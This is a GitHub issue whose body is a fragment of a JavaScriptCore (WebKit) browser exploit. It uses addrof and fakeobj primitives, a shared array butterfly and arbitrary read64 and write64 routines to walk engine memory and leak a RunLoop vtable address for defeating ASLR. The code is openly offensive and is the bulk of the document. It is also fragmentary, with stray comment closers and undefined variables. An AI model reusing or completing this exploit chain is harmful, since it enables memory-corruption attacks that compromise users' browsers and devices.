Skip to content

PS introduce new vtable leak  #2

Description

@turnerrocks1

var convert = new ArrayBuffer(0x10);
var u32 = new Uint32Array(convert);
var f64 = new Float64Array(convert);

u32[0] = structure_id; //0x200; utilize our struct ID leak
u32[1] = 0x01082007 - 0x10000;
var flag_dbl = f64[0];
u32[0] = structure_id;
u32[1] = 0x01082009 - 0x10000;
var flag_cnt = f64[0];

var container = {
    header: flag_dbl, // cell
    butterfly: victim1, // butterfly
};
var unboxed5 = [13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37];
unboxed5 = 4.2; // Disable/undo CopyOnWrite (forced to make new Array which is ArrayWithDouble)
var boxed5 = [{},{},{},{}];

fuck.port.postMessage("outer @ " + hex1(addrof(container)));

var hax = fakeobj(addrof(container) + 0x10);
fuck.port.postMessage("debug1")
// "Point" refers to changing the given array's butterfly
// hax[1] = victim[]'s bfly, meaning that we can point victim[] using hax[1]
//
// First, point victim[] to unboxed[]
// Second, save the location of unboxed
// Third, point victim[] to boxed[]
// Finally, point unboxed[] and boxed[] to the same place (give them same bfly)
// 
// This allows us to access victim[] and read/write adresses as doubles with unboxed[]
// and then access them as objects with boxed[]
hax[1] = evil_arr;
fuck.port.postMessage("debug2")
var tmp_bfly_ptr = floatAsQword(victim1[1]);
fuck.port.postMessage("shared butterfly @ " + hex1(tmp_bfly_ptr));
hax[1] = boxed;
victim[1] = tmp_bfly_ptr;

var jscell_header;
let legit_arr = victim1;
let results = [];
for (let i = 0; i < 2; i++) {
let a = i == 0 ? hax : legit_arr;
results.push(a[0]);
}
jscell_header = floatAsQword(results[0]);
//fuck.port.postMessage(hex1(floatAsQword(jscell_header)));

container.header = jscell_header;*/
    gc();
    fuck.port.postMessage("Garbage Collected next test for JIT Crash");
    gc();
    gc();
    gc();
    gc(); // an ugly way for triggering jitn vs for while in loops....
    fuck.port.postMessage("JIT Didn't cause a crash we're stable")
    fuck.port.postMessage("Time to calculate the shared cache")

   /* var stage2 = {
    addrof: function(obj) {
        return addrof(obj)
    },

    fakeobj: function(addr) {
        return fakeobj(addr)
    },
    

    write64: function(where, what) {
        hax[1] = qwordAsFloat(where + 0x10);
        victim1.prop = this.fakeobj(qwordAsFloat(what));
    },

    passGC : function (){
    var passObj = {};
    passObj[0] = 1.1;
    this.write64(this.addrof(passObj+8), 0x7);
    },

    read64: function(where,offset) {
        //var reset = hax[1];
        if(offset) {
            offset *= 8
            return this.read64(where+offset);
        }
        hax[1] = qwordAsFloat(where + 0x10);
        var res = this.addrof(victim1.prop);
        this.passGC();
        //hax[1] = reset;
        //victim1.prop = shared_butterfly;
        return res;
    },
    readInt64: function(where) {
        //var reset = hax[1];
        hax[1] = qwordAsFloat(where + 0x10);
        var res = this.addrof(victim1.prop);
        //hax[1] = reset;
        //victim1.prop = shared_butterfly;
        return new Int64(res);
    },
    write(addr, data) {
        while (data.length % 4 != 0)
            data.push(0);

        var bytes = new Uint8Array(data);
        var ints = new Uint16Array(bytes.buffer);

        for (var i = 0; i < ints.length; i++)
            this.write64(Add(addr, 2 * i), ints[i]);
    },
    
    read: function(addr, length) {
        var a = new Array(length);
        var i;

        for (i = 0; i + 8 < length; i += 8) {
            v = new Int64(this.read64(addr + i)).bytes()
            this.passGC();
            for (var j = 0; j < 8; j++) {
                a[i+j] = v[j];
            }
        }

        v = new Int64(this.read64(addr + i)).bytes()
        this.passGC();
        for (var j = i; j < length; j++) {
            a[j] = v[j - i];
        }

        return a
    },

    clear: function() {
        container = null;
        hax = null;
        for (var i = 0; i < evil_arr.length; ++i)
            boxed[i] = null;
        boxed = null
        evil_arr = null
    },
};
    function hexdump(data) {
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
    data = Array.from(data);

var lines = [];
for (var i = 0; i < data.length; i += 16) {
    var chunk = data.slice(i, i+16);
    var parts = chunk.map(hex);
    if (parts.length > 8)
        parts.splice(8, 0, ' ');
    lines.push(parts.join(' '));
}

return lines.join('\n');

}
function ab2str(buf) {
return String.fromCharCode.apply(null, new Uint16Array(buf));
}

    var bb = {};
    //bb[0] = 1.1
    var bbaddr = stage2.addrof(bb);
    fuck.port.postMessage("object address @ " + hex1(bbaddr));
    var footeraddr = ((bbaddr & 0xffffc000) + (((bbaddr/0x100000000)|0)*0x100000000)+0x4000-0x130) 
    //refer to VM.h this is
    //JSC::MarkedBlock::footer at 0ffset 8 should be the vm struct
    fuck.port.postMessage("footeraddr @ " + hex1(footeraddr));
    var vmstruct = stage2.read64(footeraddr+0x08); 
    fuck.port.postMessage("vmstruct @ " + hex1(vmstruct));
    //var structdump = stage2.read(vmstruct,0x30);
    var m_runloop = stage2.read64(vmstruct+0x10); 
    //Ref <WTF::RunLoop> m_runLoop; at offset 0x10-0x18 proceeded by m_random
    fuck.port.postMessage("m_runloop @ " + hex1(m_runloop));
    //at offset 0 of m_runloop should be a vtable  :) should sit within the shared cache
    var vtable = stage2.read64(m_runloop);
    fuck.port.postMessage("vtable @ " + hex1(vtable));
    stage.passGC();
    gc();*/

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions